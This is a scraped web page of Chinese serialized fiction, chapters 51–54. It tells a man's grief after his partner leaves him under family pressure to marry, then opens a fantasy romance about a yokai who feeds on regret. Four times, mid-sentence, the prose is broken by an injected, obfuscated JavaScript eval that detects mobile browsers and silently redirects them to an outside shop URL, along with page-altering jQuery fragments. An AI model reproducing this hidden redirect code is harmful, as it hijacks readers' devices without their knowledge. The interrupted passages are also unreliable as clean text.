“太重了。”他轻声说，“寄回去运费都得好几百。而且……老家的床尺寸不一样，放不下。” 太重了。 是啊，太重了。 不仅仅是床垫重。是我们这几年的感情，是我们要共同面对的未来，是那份想要对抗世俗的决心……都太重了。 他搬不动了。 所以他选择把它留在这里，留在过去，留给我一个人去背负。 “留给你吧。”他转过头看我，挤出一个很难看的笑容，“反正你腰不好，这垫子你睡正合适。算是……分手礼物？” 分手礼物。 我看着这张床。它曾经是我们相爱的证明，现在成了他抛弃我的证物。以后每一个深夜，我都要躺在这张他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088274|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下的、为了我的腰而特意翻过面的床垫上，感受着身边空荡荡的位置。 这哪里是礼物，这是刑具。 “行。”我听到自己说，“谢了。” 那一晚，我们没有睡在那张刚翻好面的床垫上。 他在客厅的沙发上睡了一宿。 我一个人躺在卧室的大床上。那一面确实很硬，硬得硌骨头。身边的位置空着，凉风从窗户缝里钻进来，在空旷的房间里打转。 我睁着眼，听着客厅里传来他偶尔翻身的声音，还有沙发弹簧发出的“吱呀”声。 我们之间只隔着一堵墙，但这堵墙，已经是生与死的距离。 第二天清晨，天还没亮，他就起来了。 我也醒了，但我没动。 我听着他在卫生间洗漱的声音，听着他拉上行李箱拉链的滋啦声，听着他在门口穿鞋的摩擦声。 每一个声音都像是在我心上开了一枪。 最后，是钥匙放在鞋柜上的声音。 “叮。” 清脆，决绝。 他在门口站了一会儿。 我知道他在等什么。他在等我出去，等一个体面的告别，或许还期待着拥抱一下，说一句“保重”。 但我死死地咬着被角，眼泪横流，却连呼吸声都压到了最低。 我不出去。 我不给你这个演完“好聚好散”大结局的机会。 我要让你带着遗憾走，带着没能见到最后一面的愧疚走。既然你要做逃兵，我就不给你颁发退伍勋章。 这是我仅剩的一点尊严，也是我对他最后的报复。 过了很久，也许是一分钟，也许是一个世纪。 “走了。” 他对着空气轻声说了一句。声音里带着浓重的鼻音。 然后是开门声。 关门声。 “咔哒”。 世界安静了。 那种安静是毁灭性的。 我从床上弹起来，赤着脚冲出卧室。 客厅空了。那个放在门口几天的巨大行李箱不见了。玄关的鞋柜上，孤零零地躺着那一串钥匙，下面压着那张没写完的便签纸。 我冲到阳台上，推开窗户往下看。 凌晨的街道雾蒙蒙的，路灯还没灭。 我看到那个熟悉的灰色身影，拖着箱子，走在灰色的水泥地上。箱子轮子滚过地砖，发出咕噜噜的声响，在寂静的清晨传得很远。 他走得很慢，没有回头。 有一瞬间，我很想喊他的名字。 那个名字在我的喉咙里翻滚，像是一块烧红的炭，烫得我声带痉挛。 但我没有喊。 我看着他走到路口，拦了一辆出租车。红色的尾灯在雾气中亮起，像两只猩红的眼睛。 车开走了。 把他带回了那个正常的、正确的、有父母祝福的世界。 把我留在了这个四十平米的、充满了他的气息、却再也没有他的“家”里。 我慢慢地滑坐在地上，靠着冰冷的墙壁。 回过头，我看到了那把双人摇椅。 看到了冰箱上那张黄色的便签。 看到了茶几上他留下的半包烟。 看到了墙上那把不会弹的吉他。 最后，我的目光穿过卧室的门，落在那张白色的乳胶床垫上。 它静静地躺在那里，平整，洁白，昂贵。 它被翻过来了，新的一面朝上，没有一丝褶皱，也没有一丝温度。 突然，一阵剧烈的胃痛袭来。 那是熟悉的痉挛，像是有只手在肚子里狠狠地攥了一把。 我下意识地想要喊他的名字，想要像以前一样撒娇说“我胃疼”。 但张开嘴，只吸进了一口冰凉的空气。 没人了。 再也没人会在半夜爬起来给我倒热水，没人会把手搓热了给我暖肚子，没人会一边骂我空腹喝咖啡一边给我找药了。 我挣扎着爬起来，踉踉跄跄地走到冰箱前，看着那张便签。 “……蓝盒子的斯达舒是疼得厉害时吃的，一次两粒……” 我按照他的指示，找到那个药箱，翻出蓝色的盒子。 手抖得厉害，药片撒了一地。 我捡起两粒，没有倒水，直接干咽了下去。 药片很苦，划过喉咙的时候像是吞下了沙砾。 眼泪终于决堤了。 我跪在地上，额头抵着冰凉的冰箱门，哭得像条断了脊梁的狗。 你看，你赢了。 你不仅走了，你还教会了我怎么在你走后继续苟活。 你把一切都安排好了。燃气怎么充，胃药怎么吃，床垫怎么睡。 你唯独没有教我，怎么在看着这张写满你字迹的便签时，不去想你。 怎么在躺在那张你翻过面的床垫上时，不去想那个曾经说要跟我睡一辈子桥洞的骗子。 我被判了无期徒刑，而你是那个拿着钥匙远走高飞的狱卒。 51. 《如果不曾遇见你》（5） 那个平板电脑被翻出来的时候，窗外正在下雨。 南方的雨季总是这样，粘稠，绵长，像是要把整个城市都腌渍在一种灰扑扑的防腐剂里。搬家师傅正在客厅里拆那张巨大的床架，电钻发出尖锐的嘶鸣声，木屑纷飞。 我站在空荡荡的卧室里，看着那个从床缝深处掉出来的黑色长方形物体。 它上面积了一层厚厚的灰，那是人体皮屑、尘螨和时间混合而成的尸灰。我弯下腰，用指腹抹了一下，露出底下那个被咬了一口的苹果标志。 那是他的旧iPad。 早在我们决定买那张昂贵的乳胶床垫之前，他就宣称这东西坏了，充不进电，总是死机。后来搬家有些混乱，我以为他带走了，或者是扔了。没想到，它一直卡在这个死角里，像一颗被血管壁包裹住的弹片，沉默地在我们身体里潜伏了一年零三个月。 “老板，这东西还要吗？”师傅大声问我，试图盖过电钻的噪音，“不要就一起扔垃圾站了。” 我接过来。金属外壳冰凉，带着一种入土已久的寒意。 “留着吧。”我说。 声音很轻，很平淡。就像我这一年多来对他所有的回忆一样，不带一丝波澜。 距离他离开，已经过去了四百五十天。 如果这四百五十天是一场漫长的服刑，那我无疑是一个表现良好的模范犯人。 我活得比任何时候都像个正常人。我按时上下班，业绩排到了部门第一；我开始健身，把那些因长期伏案工作而松垮的肌肉练得紧致；我甚至学会了做饭，虽然做得最多的是清淡的养胃粥——因为那张贴在冰箱上的黄色便签纸告诉我，我的胃受不了刺激。 你看，这真是一件吊诡的事。 那个最爱惜我身体的人，做了逃兵，把我一个人扔在了战场上。而我为了证明自己离了他也能活，为了赌那一口气，却把他留下的生活习惯刻进了骨子里。 我活成了他希望我成为的样子：健康，上进，情绪稳定。 就连上次在街上偶遇我们的共同好友老张，他都惊讶地拍着我的肩膀说：“行啊你，我还以为你会颓废一阵子呢，看来是我想多了。男人嘛，旧的不去新的不来。” 我也笑着说：“是啊，都过去了。” 真的过去了吗？ 只有我自己知道，这具看起来光鲜亮丽的躯壳里，塞满了稻草。 每天晚上，我躺在那张被他翻过面的、硬得像石头一样的床垫上，都要进行一次漫长的自我催眠。我必须在脑海里把过去几年的记忆像过电影一样播放一遍，才能在那种虚幻的温存里，骗自己入睡。 我是个守墓人。 这座墓里埋着我自己，而我每天的工作，就是把墓碑擦得锃亮，假装里面还住着活人。 搬家是因为这栋老楼要拆迁了。 那个我们曾经以为可以住一辈子、甚至想要把墙皮铲了重新刷漆的家，很快就会变成一堆瓦砾。 收拾东西的过程，像是一场不动声色的凌迟。 我扔了很多东西。那把双人摇椅早就卖了，情侣拖鞋扔了，那个总是掉毛的抱枕也扔了。我像个冷酷的法医，在解剖完尸体后，把那些带血的证物一件件销毁。 但是这个iPad，我没舍得扔。 到了新租的公寓，满地都是没拆封的纸箱。我坐在地板上，给它插上电源。 屏幕亮起那个白色的苹果标志时，我竟然有一种久违的心悸。 开机，输入密码。 密码是那一串我倒背如流的数字：20210321。 那是我们决定同居的日子。那天我们在这个城市里跑了四个中介，看了七套房子，最后在那个漏雨的出租屋里签了合同。那天晚上我们吃的是路边的麻辣烫，他从锅里给我夹了一颗鹌鹑蛋，说：“以后这就是咱们的家了。” 屏幕解锁了。 自动连接Wi-Fi，一阵清脆的提示音响起。 iCloud开始同步。 那些被封存在云端的数据，像是被唤醒的幽灵，争先恐后地挤进这块小小的屏幕里。 备忘录的更新时间停留在一年半前。 置顶的一条，标题叫：《着陆计划》。 我盯着这四个字看了很久。窗外的雨越下越大，噼里啪啦地打在玻璃上，像是有人在外面疯狂地敲门。 我点开了它。 那不是什么感人肺腑的情书，也不是什么撕心裂肺的遗言。 里面只有一份账单，和一份作战地图。 2024年资金缺口： 公积金+现有存款=28万。距离首付还差15万。 解决方案：下班后去跑滴滴（已注册）；周末接私单做审计（如果你觉得累就算了，但我身体好，能扛）；把老家那辆车卖了，能凑5万。 关于父母的攻坚战（极其艰难）： 策略一：拖字诀。每次催婚就说在接触了，先把今年糊弄过去。 策略二：苦肉计。如果逼急了，就说我体检出了问题，生育困难。把责任揽到自己身上，别让他们觉得是因为性取向。（备注：得去搞一张假的体检报告，别让他看见，他会担心。） 如果实在顶不住了（B计划）： 绝对不能形婚。这是底线。不能害了人家姑娘，也恶心我自己。 如果真的要分手……（此处光标停留了很久，打了很多回车） 要给他把胃养好。 要把水电费都预存好。 要把那个爱坏的床头柜修好。 要让他觉得，我是个渣男。这样他恨我，就能忘得快一点。 …… 我捧着那个冰凉的平板，坐在空荡荡的房间里，并没有哭。 人的悲伤到了极致，其实是哭不出来的。只觉得冷。 那种冷是从骨头缝里渗出来的，顺着血管流遍全身，把五脏六腑都冻成了冰渣。 我看着屏幕上那一行行密密麻麻的小字，字里行间都是他小心翼翼的计算，是他为了我们要在这个城市扎根而做的所有挣扎。 他不是没想过未来。 相反，他比我更渴望那个未来。 他甚至连怎么通过“自污”来保护我都想好了。他想用“生育困难”这种理由来挡住父母的催婚，只为了不让我承受世俗的压力。 可是，结果呢？ 结果是他在阳台上接了那个电话，听到了母亲的哭声，看到了父亲那张并不存在的“病危通知书”，然后他的脊梁骨就断了。 爱是真的，想跟我过一辈子是真的。 但最后扛不住了，做不到，也是真的。 这才是最让我绝望的地方。 如果他从一开始就是玩玩而已，如果他是个彻头彻尾的骗子，我或许还能在这个雨夜里痛骂他一顿，然后把平板砸个粉碎，以此祭奠我喂了狗的青春。 可他不是。 他是一个拼尽了全力的普通人。 他像那个试图推开巨石的西西弗斯，咬碎了牙，流干了汗，肩膀都磨烂了。最后他发现，那块石头太重了，重到会把我们两个人都碾成肉泥。 所以他松手了。 他在巨石滚落之前，把我推开了。自己一个人灰溜溜地逃回了山脚下，去做一个顺从命运的凡人。 我能怪他吗？ 怪他不够勇敢？怪他没有为了爱情众叛亲离？ 不。我太了解他了。他骨子里就是个温和、软弱、渴望家庭温暖的人。他在超市里看那个小女孩的眼神，那才是他灵魂的底色。 让他为了我背叛全世界，这本身就是对他的一种残忍。 备忘录的最后，还有一段录音。 时长只有三十秒。 我颤抖着手指，点开了播放键。 背景音很嘈杂，有风声，还有远处传来的、隐隐约约的广场舞音乐。听起来像是在那个老小区的阳台上。 那是他走的前一天晚上。 “喂……喂？录上了吗？” 他的声音传出来，带着一种我熟悉的、微醺后的沙哑。 “那个……也没什么想说的。就是今晚月亮挺圆的，想让你看看，但你睡着了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088275|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 一阵沉默。只有风吹过麦克风的嘶啦声。 “对不起啊。” 他的声音突然哽咽了一下，变得很低，很轻，像是怕惊扰了我的梦。 “我真的……挺没用的。我想给你个家，但我好像……真的做不到。这路太难走了，我走不动了。” “你别恨我，行吗？也别想我。找个正常人，生个孩子……虽然这话听着挺混蛋的，但我真的希望你能过那种……不用躲躲藏藏的日子。” “那个床垫……算了，不说了。” “晚安。” 录音戛然而止。 那个进度条走到了尽头，变成了一个静止的小圆点。 我坐在地板上，手里紧紧攥着那个平板，指关节因为用力而泛白。 我终于明白了他为什么不带走那个床垫。 那是我们一起造的梦，是他曾经试图反抗引力的证据。他把它留给我，是因为他觉得自己不配睡在上面了。他要去睡那种坚硬的、合乎规矩的木板床了。 而那个床垫，那份备忘录，这段录音，就是他留给我的化石。 它们证明了曾有一个文明存在过。证明了在这个平庸的世界里，曾有两个普通人，试图用一床棉被、一碗热汤和无数个拥抱，去抵抗海啸。 虽然最后，文明毁灭了。 我听到门外传来了敲门声。 “大兄弟，还有东西要搬吗？”是搬家师傅的声音，“我看你这灯还亮着。” 我深吸了一口气，关掉了平板。 “没了。”我对着门口说，“都搬完了。” 师傅的脚步声远去了。 我走到窗前，推开窗户。 湿冷的雨丝扑面而来，打在脸上，凉得刺骨。远处，那栋即将拆迁的老楼隐没在雨雾里，像是一座沉默的墓碑。 听说，他下个月就要结婚了。 新娘是那个王阿姨介绍的，听说是个老师，很温柔，很适合过日子。 老张告诉我这个消息的时候，小心翼翼地观察着我的表情。 我当时正在喝汤，手稳得连一滴汤汁都没洒出来。我笑着说：“挺好啊，替我送个红包，我就不去了，最近忙。” 你看，我装得多像。 但我知道，我死在这个雨夜里了。 我不会去自杀，也不会去破坏他的婚礼。我会继续活着，继续升职加薪，继续在人前谈笑风生。 但我的一部分，那个会爱、会痛、会做梦的部分，已经永远地留在了那个漏雨的出租屋里，留在了那张泛黄的乳胶床垫上。 我会在这座城市里，找一个最深的角落，把自己埋起来。 我会一遍又一遍地回味这些化石。 回味他在四平米的卫生间里把后背交给我的信任，回味他在超市里看那个小女孩时眼里的光，回味他在阳台上压抑的哭声，回味他在录音里那句颤抖的“我走不动了”。 这些痛苦是我的养分。 我不打算走出来。 外面的世界太亮了，太吵了，太正常了。那里有规则，有伦理，有传宗接代，有万家灯火。 但那里没有他。 我宁愿溺死在这条名为“往事”的河里。 这里的水很冷，很黑，但是这里有他的倒影。 我闭上眼睛，感觉身体在一点点下沉。水漫过了脚踝，漫过了膝盖，漫过了胸口。 我在水底睁开眼。 我看到他穿着那件灰色的卫衣，站在厨房里，回过头，手里拿着半根黄瓜，笑着对我说： “回来了？洗手吃饭。” 水流涌进我的耳朵，堵住了所有的声音。 在这片死寂的深海里，我终于感到了一丝久违的、温柔的安宁。 如果不曾遇见你。 我本可以忍受孤独。 如果不曾遇见你，我就能在这个平庸的世界里，做一个快乐的瞎子。 可现在，我睁着眼，看着这满室的荒凉。 但我不想闭眼。 因为这是我仅剩的、与你有关的五年。 52. 龙城往事（1） 我第一次见到沈郁的时候，龙城正下着那种令人绝望的雨夹雪。 那是二月的尾巴，春节留下的红色鞭炮屑还没来得及从行道树的树坑里烂透，新的寒流就又卷土重来。天空呈现出一种被漂白剂洗坏了的牛仔裤的颜色，浑浊，惨淡，并且透着股不管不顾的冷硬。 那时候我二十八岁。离异三个月。 我刚刚搬进这栋位于老城区赫鲁晓夫楼的顶层公寓。没有电梯，楼道里的声控灯常年是坏的，空气里永远悬浮着那种老房子特有的味道：陈年的油烟、霉变的墙皮，以及无数户人家在无数个夜晚里熬煮出来的、名为“过日子”的酸腐气。 那天我加班到很晚，踩着断了一半鞋跟的高跟鞋爬上六楼时，觉得自己像是一条被抛上岸的脱水死鱼。 就在那个时刻，我看见了他。 确切地说，是一只黑猫。它就端坐在我门口那块印着“出入平安”的红地垫上，几乎与楼道里的阴影融为一体。它太黑了，黑得像是一块被剪切掉的空间，只有那双眼睛，亮得惊人，是那种剔透的、毫无杂质的琥珀色，像两颗凝固的蜂蜜，又像是两团即将熄灭的火。 它看着我，我也看着它。 成年人的崩溃往往是静音的。在那一秒，我没有觉得害怕，甚至没有觉得惊讶。我脑子里转过的第一个念头竟然是：这只猫看起来跟我一样冷。 我低下头，在包里翻找钥匙。金属钥匙相互碰撞，发出那种在深夜里显得格外刺耳的脆响。 “苏南。” 一个声音响起来。 不是猫叫，是人声。那个声音像是砂纸缓缓磨过粗糙的玻璃，带着一种奇异的颗粒感，又像是某种生锈的大提琴弦被强行拉响。 我拿钥匙的手顿在半空，僵硬地抬起头。 那只猫不见了。取而代之的，是一个年轻男人蜷缩在我的脚垫上。 那个过程我没看清，也许是大脑出于自我保护机制自动屏蔽了那一帧画面。我就看见那个原本属于猫的黑色轮廓像是一滴滴入水中的浓墨，在这个昏暗的楼道里晕染、拉长，最后抽条成了一具人类的躯体。 他很瘦，穿着一件极不合时宜的黑色单衣，锁骨深陷。他的脸苍白得近乎透明，皮肤下隐隐透着青色的血管，像是那种被精心保养却常年不见天日的吸血鬼，又或是一张被洗了太多次、薄得快要破碎的白纸。 这就是沈郁。 他仰着头，用那双依旧是琥珀色的眼睛死死盯着我，眼神里有一种赤裸的、不加掩饰的贪婪与虚弱。 “苏南。”他又叫了一次我的名字，那种熟稔的语气仿佛我们已经认识了半个世纪，“借我一点体温。或者，让我死在这儿。” 如果是在二十岁，我会尖叫，会报警，会把高跟鞋砸在他脸上然后转身逃命。 但那是二十八岁的苏南。是刚刚签完离婚协议书，看着前夫把家里最后一台咖啡机搬走，然后独自一人在这个巨大的、轰鸣的城市里租房子的苏南。 我已经没有什么东西是可以被劫掠的了。我的尊严，我的爱情，我的积蓄，甚至我的恐惧，都已经被生活像榨甘蔗一样榨干了。 我看着他，居然扯了扯嘴角，露出了一个比哭还难看的笑容：“你是鬼吗？” “比那个糟糕一点。”他咳嗽了一声，声音虚弱，“我是妖。” “哦。”我应了一声，甚至感觉有点荒谬的轻松，“那你会杀人吗？” “只有吃饱了撑着的时候才杀。”他有些自嘲地眯起眼睛，“我现在饿得连抬手的力气都没有。” 那一刻，我那种对于生活近乎麻木的厌倦感救了我——或者说，那是另一种形式的自暴自弃。 我把钥匙插进锁孔，转动两圈，发出“咔哒”一声轻响。 “进来吧。”我推开门，没有回头看他，“但我家没有多余的拖鞋，你只能光着脚。还有，如果你敢弄脏我的地毯，我就把你扔出去冻死。” 沈郁真的跟进来了。 他像个幽灵一样飘进了我的客厅，走路没有一点声音。我的公寓很小，宜家的廉价布艺沙发，一张二手的茶几，角落里堆着还没来得及拆封的纸箱。 他也不客气，径直蜷缩在沙发上，整个人缩成一团，瑟瑟发抖。 我给他倒了一杯热可可——那是我原本打算用来安慰自己的晚餐。我把那个印着“好好学习”的搪瓷杯递给他，指尖触碰到他的手背。 冷。 那是种类似于尸体或者是深冬铁栏杆的温度，冷得扎手。 “谢了。”他捧着杯子，贪婪地汲取着那点微不足道的热量，然后抬起头，似笑非笑地看着我，“你不怕我吃了你？” “我没什么好吃的。”我在他对面的地毯上坐下来，点了一支烟。这是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088276|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离婚后养成的坏习惯，“你看我，肉是酸的，血是苦的，灵魂大概已经发霉了。” 沈郁凑近杯口，深深吸了一口气，然后露出了一个怪异的表情。 “不。”他说，“苏南，你搞错了一件事。” “什么？” “我们要吃的，不是肉，也不是血。”他伸出一根修长得过分的手指，指了指窗外。 窗外，龙城的夜景正在铺开。无数盏霓虹灯在雨雪中闪烁，像是一片色彩斑斓的沼泽。高架桥上红色的尾灯连成一条静止的动脉。 “龙城是一座巨大的自助餐厅。”他的声音变得轻飘飘的，带着一种梦幻般的残酷，“这里每天都有无数人在后悔。那个没赶上末班车在站台痛哭的实习生，那个在酒桌上喝到胃出血的中年男人，那个刚刚签完离婚协议书觉得自己一无所有的女人……” 他停顿了一下，那双琥珀色的眼睛直勾勾地盯着我，仿佛能穿透我的皮肤，看到我胸腔里那颗千疮百孔的心。 “那些情绪，是黏稠的、黑色的糖浆。是世界上最美味的东西。” “我是食梦貘的变种。”他轻声说，“我吃‘遗憾’。苏南，你身上现在的味道，简直像是一道刚出炉的、淋满了黑巧克力酱的甜点，香得我想犯罪。” 我夹着烟的手指抖了一下，烟灰掉落在我的睡裤上，烫出一个小小的洞。 但我没有动。 我看着这个自称是妖的男人，看着窗外那个巨大而冰冷的城市，突然感觉到一种前所未有的、彻骨的疲惫。 “那你吃吧。”我吐出一口烟圈，把那张苍白的脸藏在烟雾后面，“如果你能把它吃干净，让我以后再也感觉不到这种痛……那你尽管吃。” 沈郁愣了一下。他大概没见过这么配合的食物。 他放下杯子，慢慢地向我靠近。他的脸停在离我只有几厘米的地方，冰冷的气息喷洒在我的脖颈上。 “这可是你说的。” 他低声呢喃，然后像是一只真正的野兽那样，轻轻地、试探性地，在我的脖颈动脉处嗅了嗅。 那一夜，窗外的雪越下越大，像是要把这个城市所有的肮脏和秘密都掩埋掉。而在这个狭小的、租来的房间里，我和一只危险的怪物达成了某种不可告人的交易。 我是那只自愿走进笼子的金丝雀，而他是那片即将把我烧成灰烬的火。 53. 龙城往事（2） 沈郁不需要睡觉，也不需要像人类那样进食。他是一株依靠阴暗情绪进行光合作用的植物，或者说，一个精密的、以痛苦为燃料的永动机。 大部分时间，他就那样蜷缩在我家那个飘窗的角落里。那里铺着我以前为了装小资买的羊毛毯子，现在成了他的巢穴。他盯着楼下，看着龙城像一条巨大的、发光的蟒蛇，在夜色里缓慢蠕动。 我看书，他看路灯。 我喝水，他吞食空气里飘浮的微尘。 在这个几十平米的狭窄空间里，我们像两只被困在同一个玻璃缸里的鱼，沉默地共享着原本并不充裕的氧气。 我的工作是在一家濒临倒闭的三流出版社做校对。这份工作说白了就是给别人的文字“捉虱子”。每天八小时，我埋首在一堆堆逻辑不通的言情小说和漏洞百出的养生百科里，把那些错别字一个个挑出来，掐死。 我的生活像是一杯在桌上放了太久的凉白开，早就没了热气，落满了灰尘，表面还浮着一层死寂的油光。 沈郁的介入，像是在这杯死水里，扔进了一颗剧烈沸腾的泡腾片。 大概是嫌我那个总是散发着霉味的老房子太无聊，他开始跟着我去上班。当然，除了我，没人能看见他。 早高峰的地铁三号线，是龙城最拥挤的消化道。 人们像沙丁鱼一样被挤压在一起，汗味、廉价香水味、韭菜包子味，以及那种因为睡眠不足而发酵出来的口臭味混合在一起。我被挤得脚不沾地，沈郁却像个没有实体的幽灵，甚至可以说是优雅地穿梭在人群的缝隙里。 他显得很兴奋。 “苏南，你闻到了吗？”他凑到我耳边，声音穿透了地铁运行的轰鸣，“这里简直是满汉全席。” 他伸出苍白的手指，指着面前一个地中海发型的中年男人。那男人的西装领口沾着一点油渍，正一脸疲惫地刷着手机上的股市大盘。 “你看那个人的背上。”沈郁眯起眼睛，像是在评价一道法式鹅肝，“趴着一只巨大的、灰色的癞蛤蟆。那是他对三十岁时辞职创业失败的悔恨。那味道有点馊了，像是一块放坏了的臭豆腐，又咸又苦，但我喜欢那种回甘。” 我又惊又恶心，下意识地往后缩，却撞到了身后人的背包。 他又指了指旁边一个化着精致妆容、却在眼角卡了一点粉的年轻女孩。她正盯着手机屏幕上某个婚礼邀请函发呆。 “她的口袋里装着一颗珍珠。”沈郁轻轻做了一个“嗅”的动作，“那是她昨晚拒绝前男友复合时的犹豫。带着点薄荷味，很凉，也很脆。可惜有点太甜了，吃多了会腻。” “别说了。”我低声警告，觉得自己像个精神病一样在对着空气说话。 “苏南，你真无趣。”他飘回我身边，那双琥珀色的眼睛里倒映着我那张毫无血色的脸，“你身上连一点‘遗憾’的味道都没有。你干瘪得像个标本。” “因为我已经没有什么可失去的了。”我冷冷地说，“如果你想吃，就去找别人。” “我不。”他把下巴搁在我的肩膀上，那个并不存在的重量让我半边身子发麻，“我就喜欢守着你。像守着一口枯井，我在等它冒出水的那一天。” 我和沈郁的关系，就这样在一种互相嫌弃又互相窥探的氛围里发酵。 真正发生质变，是在那个被称为“龙城最冷冬天”的一月。 老旧小区的暖气管道爆了。整个小区停暖三天。 即使裹着羽绒服，盖着两床棉被，半夜我还是被冻醒了。那种冷是从骨头缝里钻出来的，带着湿气，像是有无数把钝刀子在割我的膝盖。 我瑟瑟发抖，牙齿打战。 “真麻烦。” 黑暗中，传来一声叹息。 接着，被子被掀开了一角。一股带着凛冽雪气的凉意钻了进来。还没等我尖叫，一具身体就贴了上来。 沈郁抱住了我。 就像他第一次见面时说的那样，妖是没有体温的。他的身体像是一块终年不化的大理石，冷硬，光滑。但在接触到我颤抖的皮肤的那一瞬间，奇迹发生了。 那块“大理石”开始发热。 不是人类那种温吞的暖，而是一种类似于高烧的、滚烫的热度。 “别动。”他的手臂像铁箍一样箍着我的腰，声音有些暗哑，“我在模拟人类的发烧状态。你要是乱动，这口气散了，我们就一起冻死。” “这也是幻觉吗？”我哆哆嗦嗦地问，脸贴在他坚硬的胸膛上，甚至能听到里面并没有心跳声，只有一种类似于钟表走动的“咔哒”声。 “你可以当它是。” 那一夜，我们在黑暗中拥抱。就像两只在冰河世纪末期因为恐惧而不得不抱团取暖的刺猬，明知道靠近会被对方身上的刺扎得鲜血淋漓，却又因为太冷，而无法分开一厘米。 也就是从那个晚上开始，他开始“进食”了。 不是吃外人的，而是吃我的。 那天我洗碗时不小心打碎了一只盘子。那是前夫留下的最后一套餐具里的一个。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088277|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着地上的碎片，那一瞬间，一股巨大的、酸涩的情绪涌上心头——我想起了那个男人离开时的背影，想起了那段像烂泥一样扶不上墙的婚姻，想起了我二十八岁一事无成的荒唐。 眼泪刚要涌出眼眶，沈郁突然出现在我身后。 他从背后环住我，低下头，冰凉的嘴唇准确无误地吻在了我的后颈上。 “好苦。”他低声呢喃，舌尖轻轻舔舐着我的皮肤，“但是，很有嚼劲。” 就在那一秒，奇迹——或者说诅咒——降临了。 我胸口那块沉甸甸的石头，突然消失了。那种想要哭泣的冲动，那种对于过去的怨恨，像是被一只看不见的手硬生生地挖走了。 我愣在原地，看着地上的碎片。 我想哭，但我哭不出来。我的心里一片空白，像是一张被格式化了的硬盘。 我甚至觉得那个盘子碎得很美，像是一朵盛开的白花。 “怎么样？”沈郁松开我，他的脸色因为“进食”而变得红润了一些，嘴角挂着一丝满足的笑意，“是不是舒服多了？” 我看着他，心里涌起一股巨大的恐惧。 但我没有推开他。 因为那种“轻松”的感觉，实在是太诱人了。就像是一个背负着百斤重担走了太久的人，突然被人卸下了担子，那种轻飘飘的失重感，让人上瘾。 从那以后，我变成了一个越来越“快乐”的人。 或者说，一个越来越空洞的人。 我想起死去的奶奶，刚要悲伤，那种情绪就被沈郁吸走了。于是我只记得奶奶做的红烧肉很好吃。 我被老板骂了，刚要愤怒，那种火气就被沈郁吞掉了。于是我微笑着对老板说“好的”。 我就像是一个被精细修剪过的盆栽，所有的枝桠、所有的刺、所有的阴影都被剪掉了。我变得光洁、圆润、讨人喜欢。 但我知道，我也正在死去。 那个会哭、会笑、会愤怒、会因为一只碎盘子而心痛的苏南，正在被一点点吃掉。剩下来的这个躯壳，只不过是一个装着沈郁食物的容器，一个没有灵魂的、只会微笑的人偶。 “你还要吃多少？” 有一天深夜，他在吞噬了我关于“孤独”的恐惧后，我躺在他怀里，看着天花板问。 沈郁的手指缠绕着我的头发，他的眼神在黑暗中晦暗不明。 “吃到你不再是‘苏南’为止。”他轻声说，语气里带着一种我当时读不懂的悲哀，“或者，吃到我死为止。” 54. 龙城旧事（3） 龙城的柳絮飘起来的时候，沈郁快不行了。 那天我下班回家，手里拎着两盒周黑鸭。我想着晚上不用做饭了，啃点鸭脖子，再开瓶啤酒，这一天就算糊弄过去了。 一进门，就看见沈郁跪在马桶边上吐。 他是个妖，按理说没什么可吐的。但他吐得惊天动地，背弓得像只被煮熟的虾，脊椎骨凸出来，把那件黑T恤顶得变了形。 我把鸭脖子往鞋柜上一扔，冲进去拍他的背：“喝高了？” 我手刚碰到他，心里就咯噔一下。 我不像是拍在人身上，倒像是拍在一团接触不良的电流上。手掌心一阵发麻，甚至带着点刺痛。 沈郁回过头。 那张脸我这辈子都忘不了。不是白，是花了。像是一张老照片受了潮，五官都在往下掉，眼眶的位置甚至出现了重影。 他张着嘴，嘴角挂着一丝黑色的、像沥青一样粘稠的东西。 “别碰我。”他想推开我，但这一下手直接穿过了我的胳膊，甩出几点黑泥，“脏。” “你吃屎了？”我被那股腥味熏得想吐，脑子里那根弦却绷得死紧，“这什么玩意儿？” 